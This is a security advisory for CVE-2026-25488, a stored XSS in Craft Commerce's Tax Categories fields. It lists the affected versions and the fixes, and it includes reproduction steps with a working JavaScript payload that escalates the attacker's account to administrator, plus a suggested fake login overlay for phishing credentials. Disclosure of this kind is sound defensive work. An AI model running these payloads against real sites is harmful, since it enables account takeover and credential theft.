CVE-2026-25488: Craft Commerce has Stored XSS in Tax Categories (Name & Description) Fields Leading to Potential Privilege Escalation
Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Tax Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.
--- Proof of Concept
Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session
Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Categories (/admin/commerce/store-management/primary/taxcategories). 3. Create a new tax category. 4. In the Name or Description field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you'll be redirected back to the previous page. 5. Notice the alert proving JavaScript execution.
Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})">
3. In another browser, log in as an admin & go to the vulnerable page (tax categories page). 4. Go back to your attacker account & notice you are now an admin.
The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.
Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.
References:
https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee
Other sources
Craft Commerce is an ecommerce platform for Craft CMS. In versions from 4.0.0-RC1 to 4.10.0 and from 5.0.0 to 5.5.1, a stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Tax Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel. This issue has been patched in versions 4.10.1 and 5.5.2.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25488?
CVE-2026-25488 is classified as a medium severity vulnerability due to its potential for privilege escalation via stored XSS.
How do I fix CVE-2026-25488?
To fix CVE-2026-25488, upgrade Craft Commerce to version 4.10.1 or 5.5.2 or later.
Who is affected by CVE-2026-25488?
CVE-2026-25488 affects users of Craft Commerce versions between 4.0.0-RC1 and 4.10.0, as well as those between 5.0.0-RC1 and 5.5.1.
What type of vulnerability is CVE-2026-25488?
CVE-2026-25488 is a stored cross-site scripting (XSS) vulnerability that can pose security risks for administrators.
What can attackers do with CVE-2026-25488?
Attackers exploiting CVE-2026-25488 can execute malicious JavaScript in an administrator’s browser, potentially leading to unauthorized actions.